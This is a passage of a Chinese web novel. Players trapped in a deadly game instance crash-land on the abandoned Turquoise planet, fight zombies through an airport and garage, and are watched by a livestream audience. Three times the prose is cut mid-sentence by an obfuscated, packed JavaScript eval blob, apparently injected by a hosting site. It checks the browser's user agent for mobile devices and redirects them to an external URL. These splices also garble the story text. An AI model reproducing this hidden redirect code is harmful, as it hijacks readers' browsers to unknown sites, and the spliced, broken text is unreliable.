怀着期待与好奇，江显踏上了大型飞行器。她左右打量着那些或闭眼假寐或百无聊赖的乘客。 【人物：……】 【身份：npc】 ………… 【身份：npc】 ………… 【身份：npc】 江显看着眼前那接连弹出的几十个“npc”提示，心惊胆战。 她再次打开了自己的光脑，上面依旧是“无信号”的标志。这让她有一种不祥的预感。 她的超凡技能不可能带入现实，光脑也不可能这么长时间都处于无信号状态。 唯一的解释只能是，他们从来都没能走出副本。 37. 末日迷宫1 【恭喜玩家成功触发副本-末日迷宫】 【副本背景：绿松石星（Turquoise）是一颗繁华的小行星，自几十年以前开始人类在这里定居后，便不断地进行着建设与开发。曾经，这里即便是在夜晚也被亮如白昼的灯光所笼罩。】 【但是安居乐业的年代已经过去了，现在这里早已无人问津，只有很少一部分幸存的原住民尚存。高耸的电站静默站立，失去人格的残忍丧尸终日游荡】 【你们的飞船在途中故障，却恰巧得到了绿松石星的降落许可。你们需要在危机四伏的废弃城市中小心地隐藏自身踪迹，并突破丧尸重围，找到逃生之路】 【主线任务：获得城市地图，逃出废弃城市】 江显心里悚然。 这是……第二个副本？ 再次出现的“绿松石星”字样让她胆战心惊。 绿松石星，绿松石星…… 为何他们又回来了？？ 为何他们才刚刚破坏掉绿松石星虚假的绿色保护层，现在他们又来到了这颗星球上的废弃城市？这两个副本之间存在着怎样的联系？！ 江显和陆寰对视一眼，俩人眼中的凝重都不言而喻。很显然陆寰也收到了系统提示。 “尊敬的俩位旅客。”乘务员面带微笑地朝他们走来，“欢迎你们通过飞行胶囊中转，搭乘本列航班。” 江显的技能告诉她，这位乘务员同样是一位npc。她朝陆寰使了个颜色，对方心领神会。 于是陆寰微笑着对乘务员说了声“您好”，然后问：“请问您能带我们前往我们的座位吗？”显而易见他又开始使用他的被动技能了。 “当然可以。”乘务员同样报以灿烂的微笑，“请您跟我走。” 江显尚停留在副本背景公告给她带来的震撼之中，直到陆寰拉了她一下衣袖她才幡然醒悟。 俩人来到一处座位上落了座。江显警惕地环视着四周，刚刚从走廊里通过时她用视线扫过了舱内每一个乘客，他们无一例外都是npc。 玩家呢？ 这次的副本开始公告上并没有像第一次那样提示触发人员名单。这是否说明副本的形式发生了改变？先前一次副本的模式是，所有玩家被平均分配到不同副本之中，每个副本在地理上相互隔绝、互不干扰，直到最后最终boss复苏完全时候那些副本间的屏障才消失。 这一次的主线任务是在一个大型废弃城市中逃生，从任务布置上来看，比先前那个副本的可活动范围要大得多，这又是否暗示着，这其实是一个多人副本，所有玩家都被投放到这个城市之中？ 江显越想越觉得自己的猜测正确。 末日城市的逃生需要什么呢？尽管飞船还没落地，但江显已经飞快地在心里给接下来做规划了。 首先，首当其中的是地图，刚刚公告里提示过地图需要他们自己寻找。 其次他们需要充足的资源装备。废弃城市里肯定能找到人类活动的痕迹。他们得尽早前往相关地点抢夺食物水和医疗资源，这样才能支撑他们在城市中生存足够长的时间。 再然后，如果副本中有其他玩家的存在，他们必须得更加小心谨慎。人心的复杂永远是难以揣测的，江显对此向来从不怀疑。 “在想什么？”陆寰问她。 “在想如何才能在一座全是丧尸的城市里免于被当成午餐的命运。”江显回答。 “反客为主，把丧尸当成午餐。”陆寰说。 这个笑话一点也不好笑，江显甚至当下甚至没有装作它很好笑的心情。 飞船不知又飞行了多久，窗外已经能够看到那颗碧绿色的行星。尽管江显已经知道那是一层不存在的虚幻外壳，还是会为它的美丽而感慨。 广播里机械音开始提示：“前方达到：绿松石星。请旅客们整理好自己的行李，不要将个人物品落在飞船上。” 飞船不断下降，透过一旁的透明玻璃，他们能够看到云层被机翼不断撕裂和穿透，他们像是迎着漫天的棉絮在下降。 渐渐地，视野里的模糊云层被钢铁的城市建筑所取代，直至彻底消失不见。 “下降过程可能有一些颠簸，请乘客们不要随意走动。” 江显看着自己腰上系着的安全带，试图伸手去解但最终作罢。整具飞行器都剧烈地摇晃抖动起来了，要不是在副本里，这列航班的驾驶员一定在一落地就被投诉了。 地面正在越来越接近，不断加深的灰色中江显已经能够看到沉闷的高楼和错综复杂的城市道路。 现在连起飞跑道上的引导线都已经清晰可见了，几秒内他们就能够完成着陆。 “等等，刚刚旁边那个是！” “你看到了什么？”陆寰问。 “好像有人在跑到旁边招手。”江显有些迟疑，“或许是我看错了。” “咚！”飞行器底部狠狠撞击上地面，震动顺着起落架传来，整个舱内都像是被重重敲击了一下，俩侧行李架上的行李纷纷滚落。 下一刻，整个飞船失去平衡，身体一歪，侧翼狠狠地挂在了跑道上。刺耳的剐蹭声响彻整个室内，强烈的摩擦感让所有人都差点从椅子上飞出来。 “怎么回事？” “我要投诉！我要投诉！” 全飞船的npc都惊慌失措。这场景江显觉得分外眼熟。 飞船整整滑行了十几米才止住势头，这还多亏了旁边一座航站楼的功劳。停下时巨大的惯性让江显几乎撞上前面座位的后背。现在整艘飞船的头部都深深嵌入了航站楼中间。玻璃被撞碎发出无数清脆而细碎的噪音。 江显没等飞船完全停住，就已经开始飞快地解安全带。 “走！”她下意识拉着陆寰的手。 “你想到了什么？”陆寰问。 江显笃定地说：“刚刚跑道上，有人。飞船是为了避免撞上人。才强行改变滑行方向的。” 系统已经提示了这座城市里现在只剩下“到处游荡地丧尸”和“少量的幸存者”，这个时候跑道上一反常态地出现人影，其真实身份十分可疑。 江显不觉得他们会好运到直接撞上小概率事件。他们必须做好最坏打算。 他们原本的座位靠近飞船尾部。现在江显带着他快步穿过走廊，朝头部过去。 “去哪儿？”陆寰问。 “驾驶舱附近。至少得找个能够活动的空地。”江显回答，“留在走廊里我们会被乘客堵死动弹不得的。” “大家不要慌张，降落时发生了一些小小的意外，但我们现在已经成功完成着陆，所有人员确认安全！”乘务员的声音在广播里响起。 “现在，我们即将开启舱门，请乘客们拿好行李，从尾部出口有序地离开。” 原本坐着的那些乘客npc们纷纷起立，眼看着就要陆续排进走廊了，江显愈发焦急。 “快！要来不及了！”她直接跑了起来。 俩人不出所料地撞上了一个穿西装拿公文包的大腹便便npc，江显毫不客气地从他肚子上碾了过去，那架势堪比一辆大型压路机。 “卧槽！没看到人没长眼睛赶着去死啊！”npc破口大骂，“唔……！” 他没能骂下去，因为紧接着陆寰也从np ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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飞船窗框距离地面好些高度，俩人在地面滚了几圈才卸下力，玻璃渣沾了他们满身，他们像是裹满面包糠的美味炸物。 江显龇牙咧嘴，只觉得手臂上火辣辣的。尽管有外套和背包保护，依旧有几块碎玻璃透过衣料刺进了肉里。 他们来到飞船外部，这下终于把外面正在发生的事情看了个全面： 离他们数十米的尾部出口处，十几个人影正拥堵在楼梯通道上。他们身穿人类的衣服，咋一看似乎没有什么问题，但是皮肤却呈现出一种死气沉沉的青灰色，手脚以诡异的姿势扭曲着。 毫无疑问，他们是丧尸。 他们似乎正在咀嚼着什么，咔吧咔吧的声音让人一身鸡皮疙瘩。 “啊！不要推我下去啊！啊啊啊我做鬼也不会放过你们的！”就听远处一声绝望又恶毒的诅咒。 “去死吧去死吧！和我一起去死吧！” 随后江显隐隐看到有俩个黑影挣扎着从飞船出口掉到了地上。看来惨叫者最后好歹还是拉了个垫背的。 那些丧尸像是被投食的鱼一样欢快地一用而上，断肢和鲜血被一起抛上半空，空气中弥漫起一股令人不悦的血腥味。 大概是江显落地的动静实在不小，那十几个闹得正欢的丧尸吃完后并未善罢甘休，而是一下子全朝他们这边转过了头。 “咕噜。” “咕噜。” 十几双昏黄而空洞的眼睛就这样朝他们看来。 38. 末日迷宫2 “走！”江显说道。 她冲还在地上的陆寰伸出手，把他拉起来。 陆寰的手臂正在流血，手肘处的伤口在小臂上分出前后三股血流，又在手腕处汇成一线。刚刚落地时他不幸滚到了玻璃密集的地方，现在满身的伤口，幸好都不深。 “往哪儿？”陆寰问。 “暂时先去航站楼里面躲躲！”江显说，“然后我们再看看有没有什么东西能载我们离开这里——这里最好有各星球机场上那样的小车。” “而且不能是丧尸开的。”陆寰默默补充了一句。 航站楼虽然被飞船头部戳出一个大洞，但是□□地没有一点要倒塌的趋势。在这个丧尸遍布的城市里他们必须尽可能寻找掩体，身处开阔地带被大量丧尸包围是必死无疑的。 这地方也不知道是怎么回事，分明城市都废弃了，供电系统却似乎毫无要罢工的迹象，整座航站楼的大屏仍在兢兢业业工作着，努力且徒劳地反复跳动显示着一行行“今日航班：XXX”的字样。 旁边的墙上有一张广告屏，此刻里面正在播放一则“自动计时收费小车”的海报，上面写着“地下车库，随刷随用”。 俩人是从被飞船突破的登录口出发的，现在他们跑过空荡荡唯有椅子排排坐的等候大厅，却对接下来的路线感到迷茫。 【系统提示：个人技能加载中……】 【加载完成】 【个人技能已调整至适应副本的版本！】 【模式：断层扫描（CT）】 【使用提示：在这个副本里，你能够随时查看自己所位于的建筑当前楼层地形图，并准确得知楼层内所有丧尸的踪迹和动向。这有助于使你在封闭场所免受大量丧尸包围。】 【使用限制：该技能只有当玩家位于密闭场所时才可以生效，且技能作用范围不包括建筑周边道路和其他建筑。】 【生效范围仅限于所处楼层，随玩家自身位置变动而切换地图。如玩家位于开阔露天地带，则技能失效。】 【此外，“身份识别”这一能力将一直被沿用，且不受副本限制。】 江显飞快地看完技能说明，下一刻她的眼前跳出一张黑白灰三色的地图。 ——是这座航站楼当前层的地图！ 而在地图上，有一些正在活动的彩色圆点，根据提示来看，它们是丧尸无疑。 如果说标有星号的是他们目前的位置，那么离他们最近的那个圆点在…… “小心！”江显大喊一声拦住了一旁的陆寰，下一刻他们前面那堵墙壁后面有一只青灰色的丧尸咆哮着朝他们扑过来！ 近距离的观察足以他们看清丧尸的模样：只见它全身皮肤都有着死人特有的浮肿，上面散布着褐色的尸斑。它似乎在死前遭受了什么重创，脑壳掀开，整整大半个白花花的脑子就这样暴露在空气之中。 现在它正摇摇晃晃地朝两人袭来，四肢活动模式极其不协调，似乎跳着一种诡异的舞蹈；它的两手渴望地朝前伸着，手上有着极其尖锐的爪子。 【病变提示】 【怪物名称：游荡的丧尸】 【怪物等级：普通】 【技能：抓挠】 【技能说明：丧尸的爪子和牙齿上似乎沾着些毒素，就像许多影视剧里所设定的那样，被丧尸抓伤如果不得到及时医治的话也会变为丧尸。】 【介绍：游荡的丧尸们是这座早已被遗忘的城市里最常见的东西。他们漫无目的，四处流亡。城市抛弃了他们，他们也要将城市抛弃】 陆寰被这突如其来的偷袭惊得一怔，随即立刻掏出手枪朝丧尸射击。江显也已反应过来在旁辅助。 子弹倾泻在丧尸的身上，因为俩人都对自己准头没信心的缘故他们开了很多枪，很快这只丧尸的胸口就布满了小洞。 【玩家江显成功击杀游荡的丧尸*1】 【获得奖励：城市地图*1个单位】 系统播报响起的同一时间，抢了人头的江显分心去看地图碎片，忽有一瞬间的晃神。 “愣着干嘛！后面丧尸追上来了！” 陆寰用力把她推到自己身后挡住，刚刚换好子弹的手枪连续朝着一旁射击。 伴随着枪响，又几只丧尸应声倒下。 “原来击杀丧尸会获得地图碎片奖励！”陆寰说，显然他也获得那个系统奖励了，“这就是开始时主线任务里提到的‘收集城市地图’吧！” “你拿到了几个碎片？”江显问。 “三个。”陆寰说。 他刚刚连续几枪干掉了三个丧尸，看来这所谓的地图碎片应该是和消灭丧尸数量正相关的。 接下来有江显那个浏览建筑图和丧尸位置的技能作弊，两个人在航站楼里畅行无阻。 他们从顶层的安全通道楼梯下行，直达这里的地下车库——江显从地图上看出这里的确有车库，虽然它里面有不少正在集会的丧尸就是了。 “跑进地下车库之后我们刷脸乘坐自动计时收费车离开？”陆寰问道。 很显然刚刚他也看到了等候大厅里的那张广告海报。 “显而易见。”江显回答说。 ”那你想好到达目的地后我们怎么缴费了吗？不缴费的话我们下不了车啊！” 江显叹了口气：“那我们可能就得稍微使用一点暴力了。毕竟我们也不好麻烦一只丧尸去帮我们刷脸，并将失信记录转嫁给他。” 俩人本来是想从楼梯间直接去地下车库的，可是谁也没想到通往地下室的那一段居然被堵死了。 现在他们看着那写着“安全出口”但被堵得严严实实的门直发愣。 “我们总不能乘电梯直接下去。”陆寰说。 他说得一点也没错，在电梯这种小型密闭空间内和丧尸发生战斗是极度危险的。子弹可能反射到自己身上不说，更大可能是这么点距离他们还没开枪丧尸够一够就能把他们撕碎。 更何况在江显那个特殊技能的视角里来看，电梯里现在就足足有14个彩色光点，装得满满当当。 然而她记得这里的电梯荷载是13个人。 合着这还超载了。 江显再次迅速浏览了一下整个航站楼的建筑地形图，发现了边缘一些管道状的物质。那似乎是通风管道。 “我们不走电梯。”稍一思考，江显立即打定主意，“走通风管。” 按照地图上的标注，她很快找到了那个位于一楼外墙侧的通风口，上面有一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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管道壁上充满了凹凸不平的褶子，这无疑给顺着它下行创造了绝妙的优势。江显手脚并用，依靠摩擦力把自己卡在管道中央，活像一个蜘蛛人。 在她下降了大概六七米，抵达负一层的垂直段时，陆寰也开始出发。 外面却隐隐绰绰传来一些嘈杂的声音。 “快跳！”江显突然神色大变，“一层那些外面的丧尸正在通过外侧管道朝我们这里来，再过不久就会到达你那个交汇点。你必须立刻离开那里！快跳！” 陆寰不疑有他，立刻撒手从高处跳了下来。好在通风管壁本就不垂直，低处那些突起的管壁延缓了他下落的速度，让他不至于一下子从那么高的地方自由落体。 但即便这，依旧让他身上那些原本才凝血的细小伤口开裂，白衬衫上一块一块鲜红的血迹。 “问题不大，别管我的伤我们快走！”他推着江显在通道里跑。 此时他们已经能够听到从上方管道里传来的尖锐叫声，显然一会儿功夫丧尸们已经追过来了。 “足足有五只！”江显神色凝重，“不解决掉的话我们将陷入腹背受敌的境地。” 通风管道同样属于狭窄闭塞的环境，在这里发生战斗同样极为被动。 “用小型爆炸器吧！”陆寰下决断说。 这还是他们在飞船上炸玻璃时候顺的。当时那枚粉碎器被他们用掉了，备用的爆炸器打包带走，没成想会在这时候派上用处。 “那我数‘123’，到‘3’时我朝后扔爆炸器，然后我们尽全力向内出口冲刺！”江显说着已经开始倒计时，“1-2-3！跑！” 圆球形的爆炸器被她朝管道交汇处掷出，俩人扭头没命地朝出口端狂奔而去。 39. 末日迷宫3 爆裂声在身后炸响，让他们耳膜如遭重击。然后冲击波追上他们把他们卷起又掀翻。再后来是管道附近墙体垮塌的声响。 现在坍塌的碎石将通风管从中切断并堵塞。他们已没有退路，但好消息是那些追兵也被埋住了。 “丧尸！”江显大声提醒道。 在她那个技能看来，他们不远处有3个彩色圆点在飞速接近，显然是被这里的声响吸引过来了。 他们现在已经接近了通风管的末端，能够看到管道另一端昏暗的停车场。 “就按我们之前商量好的行动！”陆寰说着率先朝左边去了。在刚刚的爆炸里江显被撞到了侧壁上，于是落后于他。 “注意看着点。”江显一边提醒着，一边朝另一边冲出去。 “砰！”第一只丧尸刚刚露出头来就被江显打爆了，没了头的躯干摇摇晃晃地在原地打转。江显冲上去一脚把它踹倒，有预知力似得飞速给了它身后藏着的那只丧尸一枪。 然而事实告诉江显，“准头大为长进”不过是她自己产生的美好错觉，这一次她子弹落了空，只是擦着丧尸的皮肤飞过。 被激怒的丧尸嗷嗷乱叫着朝她扑来，江显情急之中没能瞄准，只来得及拿枪狠狠砸在丧尸脖子上。 丧尸的动作出现了一瞬的迟滞，江显飞快按动扳机冷静补枪。丧尸的脑壳被击碎，一团已经发灰腐烂的脑子被崩得到处都是，那早已朽坏的身体也瘫软着倒在了地上。 【玩家江显成功击杀游荡的丧尸*2】 【获得奖励：城市地图*2个单位】 危机解除，江显喘着气平复心跳，却惊觉技能上显示有十几个目标正在接近这里。 而另一旁，陆寰那里的战斗仍在继续着。那是一只比普通丧尸壮硕一倍的家伙，手臂上的肌肉组织没有腐烂和萎缩，而是隆起如小山。他力气极大，手持一根木棍，每敲一下似乎都能在地面上留下一条缝。 和他相比，陆寰可谓是弱不禁风。他只能利用自己身体灵活的优势不断躲避周旋着，趁机补上一俩枪。 【病变提示】 【怪物名称：强壮的丧尸】 【怪物等级：精英】 【技能：崩摧】 【技能说明：强大的力量，它能让僵尸在一瞬间拥有极为恐怖的爆发力，如果不躲开的话恐怕……】 【技能：抓挠】 【技能说明：丧尸的爪子和牙齿上似乎沾着些毒素，就像许多影视剧里所设定的那样，被丧尸抓伤如果不得到及时医治的话也会变为丧尸。】 【介绍：比起那些终日游荡、失去了目标的同类们，强壮的丧尸们显而易见要幸运得多。他们或许还隐约记得少许自己曾经的事情，并因为某些自己也说不清的原因在某地持续徘徊。】 这个副本的精英怪物居然有两个技能！江显不仅感叹副本难度上升之迅速。 在上一个副本里，即便是向导这样的小boss也只有一个技能。或许从某种意义上来说，之前的副本更像是个新手村，连最终大战都草草收尾，主要目的是教会玩家如何游戏。 陆寰和这个丧尸的僵持不知还要持续多久，眼下更多的敌人又要涌来。江显读完怪物信息后飞快判断形式，心中已有决断：“我去启动车子！小心这个丧尸的爪子和爆发力。它是精英级！” “好！”陆寰倒是对她十分信任，艰难地回答道。 说完这句，他便因反应慢了一拍，被丧尸逼到了一堵墙上。 丧尸咆哮着，握拳一记一记疯狂击打着墙壁，墙壁上开始出现细密的裂纹。 陆寰无力招架这样非人的攻势，只能尽可能地躲闪着，看起来岌岌可危。好在强壮的丧尸足有俩三米高，陆寰逮着个空子，开枪逼退对方，一矮身从他的巨大拳头底下钻了出去。 在他身后，那堵承受了太多的墙壁终于不堪重负，哗啦啦倒下去大半片。 他朝着江显消失的方向跑过去，现在他背包里的子弹全打完了，再纠缠下去没有任何生机可言。 呼吸开始变得困难，视野也开始模糊，刚刚的战斗耗费了他太多力气。陆寰感到一丝恐慌，这似乎还是他第一次产生这样的情绪。 “咚！” 正在这时，一辆强悍的越野车从侧方凌空袭来，狂闪着车灯精准撞击在丧尸身上。任凭丧尸再强壮还是倒飞出去，庞大的身躯直接砸毁了一堵墙。 然后越野车在巨大动静里落了地，江显的脸从没有玻璃的车窗里探出来。 “上车！”江显言简意赅。 陆寰挣扎着从地上爬起来，跑过去拉开门，连翻带滚上了车，整个人瘫在副驾驶上。 俩个人其实都不擅长作战，先前都是依赖于各种装备工具外加江显的作弊技能才能撑那么久。倘若让他们拿根木棍和最低级小怪战斗，他们都能分分钟死于体力不支。 江显往后扳操纵杆，猛踩一脚油门，整辆车飞快地往后倒。陆寰没坐稳，差点一头贴在前玻璃上。 还没等他喘口气，江显猛打俩圈方向盘，整辆车狂野地在原地来了个180度大旋转。他们在刺耳的抓地声里被强有力的离心力向旁抛去。 “坐稳了。”江显竭力掩饰着她的手忙脚乱，重新加满油门让越野车往前冲去。 他们在幽暗的车库里飞速前行，旁边的支撑柱像是残影一样迎着他们一晃而过；障碍物在他们眼前猛然放大又偏离，江显把方向盘打得像朵花。 “你管这叫‘自动计时付费小车’？”陆寰简直难以置信。 “情况紧急，我只找到了这个。”江显说，“车主在驾驶座上不幸死了。他本来大概是准备在尸潮爆发时开车逃离航站楼的。于是我紧急借用了他已经插好的车钥匙。” “都上了驾驶座了，还有什么会让他暴毙的？”陆寰不解。 “他的爱人在车里等他。”江显说着躲开旁边一根柱子来了个急转弯，“可是她在此之前就被感染已经是一只丧尸了。” 这听起来是个悲伤的故事。 江显继续说：“虽然这么做不太厚道，但我还是不得不把他们深情拥抱的尸体分开并从车窗里扔出去。” “那我们现在去哪儿？”陆寰问。 “越野车的智能行车记录图上只剩一条记录，是从城市中心到航站楼的。于是我点了那个地点并进行反向导航，这样 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凌乱的脚步声在他们身后聚集，江显用技能看了一下丧尸分布图，大概十几只的样子，其中有三个大型圆点——以刚刚的经验来看大圆点应该就是精英怪物。 那些游荡的僵尸虽然跑起步来姿态怪异毫不协调，速度却一点也不含糊，居然能和四驱的越野车相比。 “我这辈子还从来没被人这么疯狂追赶过呢。”江显看了眼倒车镜，眯起眼睛。 前方光芒大盛，无人收费闸机拦路虎一样横亘在他们面前。 江显一脚油门，轰鸣声里整条闸机杆子应声飞上高空，车头肉眼可见一长条纵行凹陷。收费程序在爆裂声中依然恪尽职守：“谢谢光临，一路顺风，祝您生活愉快。” 他们正在斜坡上盘旋着上行驶离车库。江显开得太快，转弯时他们险些撞上弧形墙壁。 “小心！”陆寰喊道。 “我知道！”江显咬牙切齿。 他们马上就要驶离封闭建筑物了，因此她的技能快要失效了。然而刚刚她却看到有一个彩色圆点正朝他们移动过来，眼看就要重叠。 “梆！”车顶被什么东西重重砸了一下。 那是一只游荡的丧尸，它原先似乎准备从高处偷袭。 可是它低估了江显飙车的速度和越野车大转弯时候的离心力，或者说它残缺的大脑根本没能考虑到这些。这导致它很尴尬地从车顶滑到了后车窗附近，就和个蝙蝠似得倒挂着。 “啧。”江显看了眼倒车镜，给车上的智能系统下命令：“快，开左后门，然后关门。开门关门开门关门。” 智能系统听话地照做了，左后门和欢快的扇贝一样鼓起了掌，把一旁的内侧墙壁撞得凹一块扁一块。 它显然是用力过猛了，几下之后就听“咣当”一声，整扇车门连带着丧尸一起直接掉在了地上。与此同时整个车身一瞬间变得平稳，俩人终于驶离了航站楼的地下车库并甩掉了丧尸。 “我们似乎丢了些什么。”陆寰看着那扇空荡荡的门。 “显而易见。“ “检测到左侧后方车门已丢失。”智能系统紧随其后报告道。 “好极了，现在我们有天窗了。虽然是开在侧面的。”江显说。 40. 末日迷宫4 身在副本中的江显并不知道，与此同时，现实里正发生着惊人的变化。 在副本结束后的短短一天多里，星网上涌现出无数关于直播的讨论帖子。人们质疑、怀疑、猜测，纷纷要求政府给出说法。联邦政府为了处理这些帖子焦头烂额，干脆直接把相关话题都屏蔽了。 然而他们似乎忘记了副本直播间的存在。在这里他们不仅无法纂改直播设置，还无法让直播下架。以至于最后，这里成了所有人讨论此话题的大本营。 星际直播平台。 长长的弹幕在已经漆黑的屏幕上飘着。尽管直播已然结束，观众们的热情却似乎比先前高涨百倍。 [务必彻查，全体联邦公民需要一个真相] [务必彻查，全体联邦公民需要一个真相] …… 没有人主动组织什么，他们只是自己默默地一遍又一遍发出微不可闻的呐喊与抗议。 就在这时—— 屏幕突然闪烁了几下，然后亮了起来，出现在画面上的是明亮的飞船舱，以及各个玩家坐在飞船舱里的图像。 观众们惊疑不定。 [这是怎么回事？副本不是已经结束了吗？难道这已经不是副本直播而是营救录像了？] [太好了！看来是官方出手，将他们都成功救出了！我的朋友成功通关了第一个副本，我马上就能见到他了！] [可是你们不觉得哪里有点不对劲吗？如果是营救的话，肯定是许多乘客被放在同一艘飞船上。可是现在我们在星网的直播平台浏览时，依旧能看到几千个副本直播间！] [直播还在继续！玩家们并没有离开副本！他们仍然在副本里！] 很快，他们眼前出现了新一轮的副本背景介绍。 观众们惊恐不已。 [他们怎么还会去绿松石星上？他们不是刚刚从那里离开吗？] [那颗绿松石星上到底有什么？为什么所有线索都反复指向它？] [不知道还有没有谁记得，之前第一个副本末尾时那个白色的巨型大脑曾和江姐讲过这颗星球上的真实历史，说是他们那些技术工人们发现星球地表之下藏着一个巨大的地下城！] [天哪这么一说好有道理，这些玩家们不会是去地下城了吧？既然每个副本都是真实受害者的“怨念”集合体（我知道这么说很不专业但是我就这能力大家包涵·），那如果类比第一个副本模式的话，这是不是意味着这一次的副本要开始揭示地下城的真相了！] [这次的副本名字叫做《末日迷宫》？难道这些副本是按照时间顺序来的吗？第一次是“灾难后的掩饰”，而这一次的主题是“灾难发生时”？] [楼上说得很有道理！这次的副本内容很可能会效仿上一次那样，在故事末尾时告诉我们地下城究竟是什么，是谁建造的，以及它为什么会废弃（如果它真的被废弃了的话）。] [太好了！这下我们终于不用指着无能的联邦政府了！我们能够自己通过直播来得知这一切的真相！] [话是这么说的，但是你们难道没有质疑过吗，到底是谁创建了副本直播并让它迟迟没能被官方下架？到底是谁想向我们揭露这一切？] [某些正义感很强的星际黑客？] [别扯了，哪个黑客会不为名不为利和联邦作对？] ………… 观看直播的人数正在急速激增。如果说之前的直播间还只是观众们在机械性地重复同样的话以抒发心头愤懑，这下子便是真正意义上活跃了起来。 [上一个副本我还一直将其视作一场游戏，是我的狭隘。想想先前自己竟然将生死视作儿戏我就觉得自己真该死啊。] [赞同。虽然有些玩家的表现确实算不上优秀，但是设身处地想想要是换成我自己又能好到哪儿去呢？从现在开始我一定文明观看，绝不指手画脚。] 先前观众们尚且将这视为是一场虚拟游戏，但是当得知这里的一切都是真实的之后，他们的态度立刻发生了一百八十度的大转弯。 当然，不排除仍有少数“乐子人”仍然抱着耍猴看戏的心态： [玩家在副本里怎么样关我什么事？我们是观众！观众！副本里的那群人本来离死就差一口气了，在临死前能给我们加点乐子也算是做了件好事。] [玩得菜还不让人说啦？玩不起别玩！反正我怎么说他们也听不到。] 这些消息没发出多久，前者的评论很快把那几个“乐子人”冲爆了。短短几分钟内，这些出言不逊者就被举报炸号了。观众们似乎空前得同仇敌忾。 所有人都屏息凝神地盯着屏幕关注各个玩家状况。 这个废弃城市的副本难度奇高，全部飞船在刚落地时就遭遇了丧尸袭击。许多没来得及弄清楚状况的玩家反应不及，顷刻丧命。 短短十几分钟时间里，玩家数量锐减十分之一，现在只剩下1000出头的人了。 只是这一次，弹幕上不再有各种充满不屑和嘲讽的话语。所有人都怀着沉重和敬畏的心情观看着那一切发生。当有人逝去后，弹幕上开始有人自发地送白色小花。 [致敬] [致敬揭秘者] [RIP] [走好] …… 观众们已然明白，玩家并非是网络里虚拟的幽灵，而是一个个与他们根植于同一片宇宙的有血有肉鲜活生命。 他们在副本里的一举一动都与那个被隐藏已久的秘密息息相关，他们在另一个“世界”的成败决定了接下来的惊天秘闻是否能被揭露。 他们开始不再评判，妄加揣测，只是偶尔，留下叹惋。 正如他们知道，当副本结束后，虚拟的世界里不会留下那些玩家的痕迹，但是他们的文字可以。 * 越野车在诺大的停泊港里风驰电掣，惊动了无数漫无目的的僵尸。他们闻声踉踉跄跄地追赶而来，形成了一堵颇为壮观的墙。 可是江显开得太快，机械铁盒子马力全开，很快就把那些腐朽的肉疙瘩抛在了后面。 “头一次觉得开车时要飞起来了。”江显从倒车镜里瞥了眼后面那扇空荡荡的车门说道。气流从车的豁口灌进来，这让他们产生一种在开露天敞篷豪车的错觉。 “你以前在地球上也一直这么开车吗？……我不是在质疑你的车技。”陆寰很有求生欲地说。 江显假装没听懂他的意思：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492293|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是啊。相比那些后发展的行星，地球上的交通线路依旧有很大一部分保留着原始状态。车辆还是很常见的。我当然常常开车出行。” “我的意思是……你的车技是谁指导的？”陆寰问。 “驾校啊。”江显一脸莫名其妙，“我16岁大学前暑假去考的。刚开始还不太敢上手。然后‘小行星’和我说，‘这一点也不难，一踩油门，‘轰轰轰轰轰’，一打方向盘就完事了’。” “然后呢？”陆寰问。 “然后我照做了，在驾校停车场创飞了三辆练习用车。教练说我这已经不是马路杀手的级别了，是‘停车场杀手’。” “小行星”，又是小行星。陆寰不知怎得，心里又生出一种莫名的感觉，就如同第一个副本在边界屏障那里时，看到江显为其他玩家而情绪失控一样。 这种现象太奇怪了，按理说他不应该有这样的状况才对。 他现在非常好奇，那颗“小行星”到底参与了她人生的多少部分，又改变了她多少，才将她塑造成如今的模样。 “‘小行星’在宇宙里要是这么横冲直撞地驾驶，会被别的天体撕碎的。”陆寰说。 “洛希极限？”江显挑眉，并猛一转弯避开几十米外一波丧尸。 “是啊，那是天体与天体之间所能达到的最近安全距离了。再靠近的话，质量小的那一方就会被另一方的引力场吸过去，直到被撕得粉碎。”陆寰说。 “就像是永远在相互吞噬与相互隔离之间徘徊的蠕虫？”江显在倒车镜里看向他。 “就像是朝生暮死的蠕虫。”陆寰撇撇嘴说。 江显忍俊不禁。她只觉得他现在的语气太过好笑。 “滋滋滋。”耳边突然传来不知来源的电流声。 “你开车载广播了？”江显疑惑。 “我啥也没碰。”陆寰举起双手十分委屈。 俩人环视一周，没能找到可疑声源，只得暂时作罢。 “你还没告诉我你技能的详细使用方法呢。”陆寰再次提起这茬。 “就是只要到达密闭建筑内部就能查看里面的地图和丧尸分布。”江显说。 “上一个地图呢？” 江显没想到他还记得这事，想起自己上个副本时的刻意隐瞒不由有些心虚：“上个副本我的技能除了能看到人物属性外，还能自动跳出异常位置的线索提示。” “当时在林子里观察树、找从地下冒出来的鱼都是这个原理。其本质大概是当时我能看到‘异常意识’浓聚的地方——当然这也是我后来才自己推测出来的。” 陆寰笑道：“照你这么说，这种能通过分辨异常意识浓聚程度的能力，还真是像个X线。” 俩人嘴上正聊着，却突然听到头顶一阵低沉的“隆隆”噪声。 “什么东西？”江显不敢分心，却觉得那声音实在反常。 陆寰从她旁边探出脑袋，一瞬间笑容凝固：“飞行器？” “或许是其他玩家在以和我们一样的形式登陆副本。”江显脸上波澜不惊，“看来这确实是一个多人大型副本。” “不，这才是我想说的最奇怪的地方。”陆寰蹙眉，“那艘飞行器，不是在降落，而是在起飞。” 41. 末日迷宫5 